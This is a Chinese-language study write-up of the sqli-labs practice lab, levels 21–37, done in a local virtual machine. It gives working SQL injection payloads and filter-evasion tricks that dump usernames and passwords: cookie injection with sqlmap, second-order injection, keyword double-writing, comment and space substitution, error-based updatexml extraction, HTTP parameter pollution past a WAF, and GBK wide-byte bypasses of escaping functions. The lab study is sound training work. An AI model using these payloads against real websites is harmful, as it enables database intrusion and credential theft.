[NOTE] sqli-labs Adv Injections
[NOTE] sqli-labs Adv Injections
文章目錄
- [NOTE] sqli-labs Adv Injections
- 前言
- Less-21: Cookie injection - base64 encoded-single quotes and parenthesis
- Less-22: Cookie injection - base64 encoded-single – double quotes
- Less-23: GET - Error based - strip comments
- Less-24: POST - Second Oder Injections *Real treat* - Stored Injections
- Less-25: GET - Error based - All your OR & AND belong to us - string single quote
- Less-25a: GET - Blind based - All your OR & AND belong to us – Intiger based
- Less-26: GET - Error based - All your SPACES and COMMENTS belong to us
- Less-26a: GET - Blind Based - All your SPACES and COMMENTS belong to us – String-single quotes-Parenthesis
- Less-27: GET - Error Based - All your UNION & SELECT Belong to us – String – String quote
- Less-27a: GET - Blind Based - All your UNION & SELECT Belong to us – Double Quotes
- Less-28: GET - Error Based - All your UNION & SELECT Belong to us – String – Single quote with parenthesis
- Less-28a: GET - Blind Based - All your UNION & SELECT Belong to us – single quote-parenthesis
- Less-29: GET - Error based - IMPIDENCE MISMATCH – Having a WAF in front of web application
- Less-30: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application
- Less-31: GET - BLIND - IMPIDENCE MISMATCH – Having a WAF in front of web application
- Less-32: GET - Bypass custom filter adding slashes to dangerous chars
- Less-33: GET - Bypass AddSlashes()
- Less-34: POST - Bypass AddSlashes()
- Less-35: GET - Bypass Add Slashes (we dont need them) Interger based
- Less-36: GET – Bypass MySQL_real_escape_string
- Less-37: POST – Bypass MySQL_real_escape_string
前言
針對sqli-labs靶場的做題筆記
環境
虛擬機環境
攻擊機:kali|10.10.10.1
靶機:ubuntu|10.10.10.2|Apache+PHP+MySQL
Less-21: Cookie injection - base64 encoded-single quotes and parenthesis
就是Basic Injection里邊的Less-21(重復了?)
Less-22: Cookie injection - base64 encoded-single – double quotes
和Less-21一樣,只不過閉合方式從 ’) 變成了 “
下略
試試sqlmap能不能跑
sqlmap -r cookieInj --level 5 --risk 3 --cookie="uanme=*" --tamper="base64encode"
關鍵是指定要探測注入漏洞的cookie字段(注意格式),以及指定編碼方式(tamper——篡改)
Less-23: GET - Error based - strip comments
strip comments——注釋過濾?應該是做了基本的過濾
看眼源碼:
用preg_replace()對注釋符做了過濾(正則匹配)
過濾方法1:主動閉合——?id=' or 1=1 or '
?id=' union select 1,group_concat(username),group_concat(password) from users where '1'='1
過濾方法2:00截斷——?id=' or 1=1; %00(不知為啥要加個分號)
?id=' union select 1,group_concat(username),group_concat(password) from users; %00
Less-24: POST - Second Oder Injections Real treat - Stored Injections
關于這題的學習資料
看了半天源碼,是有兩個有區別的PHP函數
mysql_real_escape_string
mysql_escape_string
這關簡單模擬了一個系統,注冊、登入、重置密碼、登出到忘記密碼都有
其中除注冊外,其他地方的輸入都使用了mysql_real_escape_string()進行轉義
而注冊的地方使用的是mysql_escape_string()進行轉義
可以上網查一下這兩個函數,其中mysql_escape_string不轉義“%”和“_”
關于這題整體,是二次注入,也叫存儲型注入
大致思路是,先事把含有特殊字符的字符串放到服務器數據庫中
然后再找到服務器提取該字符串并直接拼接到SQL語句中的場景
因為是從數據庫中直接提取字符串而不是由用戶輸入
所以很可能是沒有做任何過濾就直接拼接的
從而繞過一些過濾限制
這題關鍵是重置密碼時,無需用戶輸入自己的用戶名
那么很可能就是系統自己從數據庫中提取并拼接用戶名
做法
先自己注冊一個賬戶:admin'#/password
可以注意到這個用戶名是合法的,并且會被完整顯示出來
登入這個用戶,重置自己的密碼為hacked
然后登出,會發現賬戶admin的密碼被改成了hacked
這是因為后臺修改賬戶密碼的代碼如下:
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'
其中用戶名字段是直接從$_SESSION["username"]中提取的
當拼接上我們自己創建的賬戶時,就會變成:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'
相當于變成了:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'
這樣就達到了修改管理員賬戶密碼的目的
這題難度感覺不白盒,很難做出來
Less-25: GET - Error based - All your OR & AND belong to us - string single quote
一樣的GET參數id
題目是,所有的OR和AND都歸他了
估計是過濾這倆關鍵字
99':報錯
99'%23:沒有報錯
估計是字符型注入
然后payload里面包含and和or,回顯出來都不見了
說明被過濾了
URL編碼不行,concat函數包含字符串的or不行
可能還需要多了解一下編碼繞過這塊,可能有別的可行方法
(編碼繞過方向全錯,我在贛神魔)
這個payload倒不會報語法錯誤,但是說列數不同
?id=' union select (case when (1=1) then 1 else 1 end) %23
即case-when-then-end可用
蚌埠住了,看看源碼,對參數id做了下黑名單過濾:
function blacklist($id) {$id= preg_replace('/or/i',"", $id);$id= preg_replace('/AND/i',"", $id);return $id; }preg_replace函數:hhhhhh草得去等館長了
preg_replace函數:對目標字符串執行一個正則模式的查找與替換
最關鍵的是,它只會查找并替換一次,只有一次
于是就可以雙寫繞過了
(函數原型好像有一個limit參數指定替換的最大次數?默認是-1無限次?)
(可能是指遍歷替換的次數,不是遞歸替換的次數?)
此外換成||和&&也行,但是后面有些payload還是要雙寫
另外注意的是,別的地方出現了or和and都要雙寫繞過:
?id=' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' %23
可以考慮寫個腳本函數自動執行payload的替換
原來雙寫繞過就可以了,一開始還去想什么編碼、case-wen啥的
終極眼高手低,草
一個繞過過濾的思路:
若有過濾,先判斷是一次性過濾還是非一次性過濾
一次性的話:雙寫繞過
非一次性的話:則要考慮變形
- 大小寫混拼
- 運算符代替:or->||、and->&&
- URL編碼繞過:#->%23
- Hex編碼繞過:~->0x7e
- 添加注釋:/*or*/
Less-25a: GET - Blind based - All your OR & AND belong to us – Intiger based
題目加個a,估計只是上一題的變式
字符型注入換成數字型
其他地方實際做起來確實和上一題沒啥區別,都是雙寫可繞過
看看源碼,沒啥東西
倒是有一行print_r(mysql_error())被注釋掉了,所以沒有錯誤回顯
Less-26: GET - Error based - All your SPACES and COMMENTS belong to us
看樣子是過濾掉了空格和注釋
結果不是,or和and也被過濾了
看看源碼的過濾函數:
function blacklist($id) {//strip out OR (non case sensitive)$id= preg_replace('/or/i',"", $id);//Strip out AND (non case sensitive)$id= preg_replace('/and/i',"", $id);//strip out /*$id= preg_replace('/[\/\*]/',"", $id);//Strip out --$id= preg_replace('/[--]/',"", $id);//Strip out #$id= preg_replace('/[#]/',"", $id);//Strip out spaces$id= preg_replace('/[\s]/',"", $id);//Strip out slashes$id= preg_replace('/[\/\\\\]/',"", $id);return $id; }關于過濾注釋的繞過,一開始想著這樣雙拼:/*/**/*/
結果不行,原來過濾的是/*
所以要這樣雙拼://**/**/
說明繞過的姿勢還要放開思路
驗證注入的payload:?id='//**/**/oorr//**/**/'1'='1
寫了個腳本來做敏感字符得自動化替換:
import sysif __name__ == '__main__':for i in range(len(sys.argv)-1):res = sys.argv[i+1]res = res.replace(" ", "/**/")res = res.replace("or", "oorr")res = res.replace("and", "anandd")res = res.replace("/*", "//**")print(res)exit(0)后面那個注釋符目前找不到很好的繞過方法,好像只能通過閉合的方式通過檢查
但是試了試別的payload,發現會報錯?例如下面這個爆表:
'//***/union//***/select//***/1,group_concat(table_name),3//***/from//***/infoorrmation_schema.tables//***/where//***/table_schema=database()//***/anandd//***/'1'='1
就報了語法錯誤:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_s’ at line 1
檢查一下發現回顯也正常,只是空格都被抽掉了
(后面檢查可能還真是這里的問題,因為后面測出來是只有用空格分隔的SQL語句如“union select”等才會出現這樣的問題)
那為啥別人可以?
所以估計是union select和后面的limit配合得不是很好?
不會要補習MySQL語法吧…
由于有完整報錯回顯,考慮使用updatexml、extractvalue等函數
改進下腳本:
import sysres = sys.argv[1] res = res.replace(" or ", "||") res = res.replace("or", "oorr") res = res.replace(" ", "/**/") res = res.replace("and", "anandd") res = res.replace("/*", "//**")print(res)另外空格被過濾,使用圓括號是一個不錯的分隔辦法
爆庫:'||updatexml(1,//**concat(0x7e,//**(select//**database()),//**0x7e),//**1)||'1'='1
爆表:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2
爆字段:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2
爆數據:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit%0B0,1),//***/0x7e),//***/1)||'1'='2
但是到這里問題又來了
由于報錯會限制回顯的字符數,所以需要使用limit 0,1來作偏移
但是這樣的話就免不了又要使用空格或別的分隔符
然后就會被抽走,然后又報語法錯誤:
payload:'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit//***/0,1),//***/0x7e),//***/1)||'1'='2
報錯回顯:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘limit0,1),0x7e),1)||‘1’=‘2’ LIMIT 0,1’ at line 1
上面的‘limit’和‘0’接在一起了,去掉這個limit就沒事
那后面剩下的就上盲注吧
額不對,盲注數據好像也要用到limit?那咋辦啊
我不理解,為什么別人和在數據庫里使用/**/代替空格就行
換到sqli-labs就不行…
不會又是垃圾小皮的鍋吧。。。。
上sqlmap看看
能測出DBMS是MySQL,參數id可以注入,但是后面就測不動了
可能要指定別的參數啥的
Less-26a: GET - Blind Based - All your SPACES and COMMENTS belong to us – String-single quotes-Parenthesis
估計是和上題差不多,有些變形,而且提示了是基于盲注
測了測,發現閉合要加多個)
關閉了錯誤回顯,所以updatexml這類路走不通了
貼個驗證注入存在的payload:')||1=1||('1')=('2
盲注要用到也要limit,那咋整啊
Less-27: GET - Error Based - All your UNION & SELECT Belong to us – String – String quote
看樣子是過濾掉了union和select,估計還有別的
驗證一下:?id=' or 1=1 %23
回顯:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘or1=1’ LIMIT 0,1’ at line 1
看樣子之前過濾的這次也過濾了
得用回之前的腳本來做字段替換
看眼過濾函數:
function blacklist($id) {$id= preg_replace('/[\/\*]/',"", $id);//strip out /*$id= preg_replace('/[--]/',"", $id);//Strip out --.$id= preg_replace('/[#]/',"", $id);//Strip out #.$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.$id= preg_replace('/select/m',"", $id);//Strip out spaces.$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.$id= preg_replace('/union/s',"", $id);//Strip out union$id= preg_replace('/select/s',"", $id);//Strip out select$id= preg_replace('/UNION/s',"", $id);//Strip out UNION$id= preg_replace('/SELECT/s',"", $id);//Strip out SELECT$id= preg_replace('/Union/s',"", $id);//Strip out Union$id= preg_replace('/Select/s',"", $id);//Strip out select return $id; }觀察一下,發現分隔符只過濾了空格和/*,也就是說制表符%09可用
union和select過濾也不完整,大小寫混拼可用
沒有過濾or和and
注釋符不可用
那比上一題簡單了呀,updatexml注入走起!
payload替換腳本:
import sysres = sys.argv[1] res = res.replace("union", "UnIoN") res = res.replace("select", "SeLeCt") res = res.replace(" ", "%09") res = res.replace("/*", "//**")print(res)爆庫:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09database()),%090x7e)),%091)%09or%09'1'='1
爆表:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),%090x7e)),%091)%09or%09'1'='2
爆字段:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),%090x7e)),%091)%09or%09'1'='2
爆數據(limit偏移):
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(username)%09from%09users%09limit%090,1),%090x7e)),%091)%09or%09'1'='2
然后發現limit 1,1就沒有任何顯示了????
實際上可以用制表符代替分隔符的話,可以直接union select:
'%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09'1'='1
union和select的限制也可以直接雙寫繞過
Less-27a: GET - Blind Based - All your UNION & SELECT Belong to us – Double Quotes
和上題差不多,換成雙引號,關閉錯誤回顯
爆數據:
"%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09"1"="1
Less-28: GET - Error Based - All your UNION & SELECT Belong to us – String – Single quote with parenthesis
首先還是先試試
' or '1'='1這個可以正常回顯
返回提示:Your Input is Filtered with following result: 'or'1'='1
空格被過濾了
然后試了試制表符%09,返回提示:result: ' or '1'='1
說明制表符可用,過濾不完全
union和select又被過濾,但試了試大小寫混拼不行
雙寫,發現返回提示:result: ' ununionion seselectlect 1,2,'3
說明雙寫的內容沒有被過濾,怎么回事??
看眼源碼,發現針對這倆的過濾正則是這樣的:/union\s+select/i
即過濾的是這倆的組合
想到除去union select之外還有一個union all select
可以用這個繞過上面的過濾
另外還發現不僅有單引號,還有一個圓括號也要閉合
于是有如下payload:')%09union%09all%09select%09'1','2',('3
爆庫:')%09union%09all%09select%09'1','2',('3
爆表:
')%09union%09all%09select%09'1',group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=database%09and%09'1'=('1
爆字段:
')%09union%09all%09select%09'1',group_concat(column_name),3%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'%09and%09'1'=('1
爆數據:
')%09union%09all%09select%09'1',group_concat(username),group_concat(password)%09from%09users%09where%09'1'=('1
Less-28a: GET - Blind Based - All your UNION & SELECT Belong to us – single quote-parenthesis
很卵奇怪,和上一題沒啥區別
看一眼源碼,發現除了對union select的組合過濾之外沒有別的過濾了
Less-29: GET - Error based - IMPIDENCE MISMATCH – Having a WAF in front of web application
“IMPIDENCE MISMATCH”——預防不匹配?
另外題目說有WAF
(This Site Protected by World's Best Firewall,嗯哼?)
隨便試試,發現亂注?' or 1=1 %23有回顯
真就亂注,爆數據:' union select 1,group_concat(username),group_concat(password) from users %23
怎么回事,看看源碼
源碼里面也沒有任何關于WAF的內容啊?
破案了,原來用戶界面是login.php,不是默認的index.php
那就重新來過
發現不管給id傳入什么參數都會報錯,然后302跳到一個hacked.php
顯示說被WAF擋住了
看源碼,發現有很奇怪的地方,既有id1又有id:
$qs = $_SERVER['QUERY_STRING']; $hint=$qs; $id1=java_implimentation($qs); $id=$_GET['id']; // ... whitelist($id1); // ... $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";其中whitelist函數用白名單限制了參數只能為整數
java_implimentation函數如下:
function java_implimentation($query_string) {$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value) {$val=substr($value,0,2);if($val=="id") {$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}} }explode函數用于將字符串打散成數組
java_implimentation函數的目的大概在于,捕獲第一個id參數并返回
問題就在于只捕獲第一個id參數,就把它返回給id1
并且后面的白名單檢測,只檢測id1
而拼接在SQL語句里的是從$_GET['id']獲得的id
再結合一波**HPP(HTTP Parameter Pollution,HTTP參數污染)**的知識
大概是請求參數中有兩個參數同名的話
不同Web服務器對其的處理規則不同
從而導致利用點出現
例如PHP/Apache里邊,會把最后一個同名參數作為傳參
http://www.xx.com/?id=1&id=' or '1'='1
有可能檢測到第一個id正常就通過,而傳入服務器的是后面的惡意參數
下面是具體不同Web服務器的處理方式:
| PHP/Apache | $_GET(“par”) | Last |
| JSP/Tomcat | Request.getParameter(“par”) | First |
| Perl(CGI)/Apache | Param(“par”) | First |
| Python/Apache | Getvalue(“par”) | All(List) |
| ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
所以根據上述知識,只需要傳入兩個id參數,就可以WAF Bypass了,payload:
?id=1&id=' union select 1,group_concat(username),group_concat(password) from users %23
(前面的過程略)
另外關于這個WAF的體現,整(fu)理(zhi)了一波網上的資料
大概是這么一個雙層服務器架構
服務器端有兩個部分:第一部分為 tomcat 為引擎的 jsp 型服務器,第二部分為 apache 為引擎的 php 服務器,真正提供 web 服務的是 php 服務器。
工作流程為:client 訪問服務器,能直接訪問到 tomcat 服務器,然后 tomcat 服務器再向 apache 服務器請求數據。數據返回路徑則相反。
接下來是參數解析的問題。
問:index.php?id=1&id=2,這時回顯是id=1還是id=2呢?
答:apache (php) 解析最后一個參數,即回顯id=2;tomcat (jsp) 解析第
一個參數,即回顯id=1。
問:index.jsp?id=1&id=2,針對這關的兩層結構,客戶端請求首先過 tomcat,tomcat 解析第一個參數,接下來 tomcat 請求 apache,apache 解析最后一個參數。那么最終返回客戶端的是哪個參數?
答:此處應該還是id=2,因為實際上提供服務的是 apache 服務器,返回的數據也應該是 apache 處理的數據。
而在我們實際應用中,也是有兩層服務器的情況,那為什么要這么做?是因為我們往往在 tomcat 服務器處做數據過濾和處理,功能類似為一個 WAF。
而正因為解析參數的不同,我們此處可以利用該原理繞過 WAF 的檢測。如 payload:index.jsp?id=1&id=0 or 1=1–+,tomcat 只檢查第一個參數id=1,而對第二個參數id=0 or 1=1–+不做檢查,直接傳給了 apache,apache 恰好解析第二個參數,便達到了攻擊的目的。
所以這題模擬的就是上面的Tomcat WAF&Apache Server架構
Less-30: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application
承接上題經驗
單id參數會報錯
雙重id前正確后惡意能行:?id=1&id=" or 1=1 %23
測出來是雙引號字符型
直接上最后爆數據的payload:
?id=1&id=" union select 1,group_concat(username),group_concat(password) from users %23
看源碼:
和上題沒啥區別
Less-31: GET - BLIND - IMPIDENCE MISMATCH – Having a WAF in front of web application
承接Less-29題經驗
只是變成了雙引號+圓括號閉合:?id=1&id=") or 1=1 %23
最后爆數據的payload:
?id=1&id=") union select 1,group_concat(username),group_concat(password) from users %23
源碼其余地方和之前一樣
Less-32: GET - Bypass custom filter adding slashes to dangerous chars
打入單引號的時候,發現提示回顯:
Hint: The Query String you input is escaped as : \’
The Query String you input in Hex becomes : 5c27
看上去是被加了反斜杠進行轉義
簡單測試,發現'、"以及\都會被加上反斜杠進行轉義
結合提示會回顯16進制的查詢結果,考慮寬字符注入
下面的內容來自Pikachu靶場練習筆記的寬字節注入內容
主要是利用了GBK系列編碼,將兩個字節當成是一個中文字符的原理
相關配置為:set character_set_client = gbk
一般為引號被加上反斜杠轉義的情況
1' and 1=1 #->1\' and 1=1 #
相當于查詢id為‘1’ and 1=1 #’的信息
但是可以主動加上一個‘%df’
1%df' and 1=1 #->1%df\' and 1=1 #->1%df%5c' and 1=1 #->1輼' and 1=1 #
相當于查詢id為‘1輼’的信息,然后執行and后面的判斷
于是驗證注入的payload:%df' or 1=1 %23
后續略
其中需要用到字符串判斷的地方,比如要table_name='users'
可以使用**concat函數和char函數**來進行結合變式
?id=%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23
Less-33: GET - Bypass AddSlashes()
AddSlashes,添加斜杠
后面跟個圓括號,看起來像個給特殊字符添加斜桿來轉義的函數
果不其然,參數id打入單引號,提示回顯給加上了反斜杠
可以考慮寬字節注入
?id=%df' or 1=1 %23就可以正確回顯了,說明寬字節注入有效
那基本上就和上一題一樣了
看看源碼,主要是使用addslashes函數對傳參進行過濾
這個函數主要是對'、"、\以及NULL字符前邊加上反斜杠
此外源碼里面有一行比較有意思:
mysql_query("SET NAMES gbk");
看來寬字節注入真的與GBK編碼有很大干系
Less-34: POST - Bypass AddSlashes()
變成登錄框,兩個框都會添加反斜杠
遇到問題了,POST怎么做到寬字節注入?
哦,原來原理上是一樣的
驗證payload:username:%df' or 1=1 #/password:1
這里需要了解一下Content-Type: application/x-www-form-urlencoded
這種MIME是form標簽不設置別的encrypt屬性時所默認采用的
它會把表單提交的鍵和值進行url編碼
所以從網頁上提交的payload,再經過url編碼后,會變成這樣:
%25df%27+or+1%3D1+%23
即%被轉碼了,所以提示回顯里面的百分號出現了
所以需要使用bp等代理工具進行抓包改包:
這樣的所發出的payload才有效,才能注入成功
剩下的payload如無說明默認是uname的參數
判斷回顯字段數為2:
%df' or 1=1 order by 2#
查看回顯的字段:
%df' union select 1,2#
下略
其中需要用到字符串判斷的地方,比如要table_name='users'
可以使用**concat函數和char函數**來進行結合變式
Less-35: GET - Bypass Add Slashes (we dont need them) Interger based
數字型還要什么雙引號,直接驗證注入:?id=999 or 1=1 %23
爆列:
?id=999 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23
下略
Less-36: GET – Bypass MySQL_real_escape_string
怕是要繞過mysql_real_escape_string這個函數
結果可以寬字節繞過
記一下GBK編碼如何防止寬字符注入
先調用mysql_set_charset函數設置連接所使用的字符集為gbk,再調用mysql_real_escape_string函數來過濾用戶輸入
(mysql_set_charset('gbk','$conn'))
也就是說,先不進行轉義,首先以GBK編碼的形式對提交上來的參數進行編碼,然后再進行轉義,(先編碼也意味著反斜杠即5c不會出現,到下一步的轉義引號才出現)
源碼的失誤就在于先轉義再編碼
Less-37: POST – Bypass MySQL_real_escape_string
雖然使用mysql_real_escape_string函數,但是和GBK字符集設置順序有誤
所以可以寬字符繞過
詳見Less-34、Less-36
總結
以上是生活随笔為你收集整理的[NOTE] sqli-labs Adv Injections的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [NOTE] RESTful架构
- 下一篇: [NOTE] Web For Pente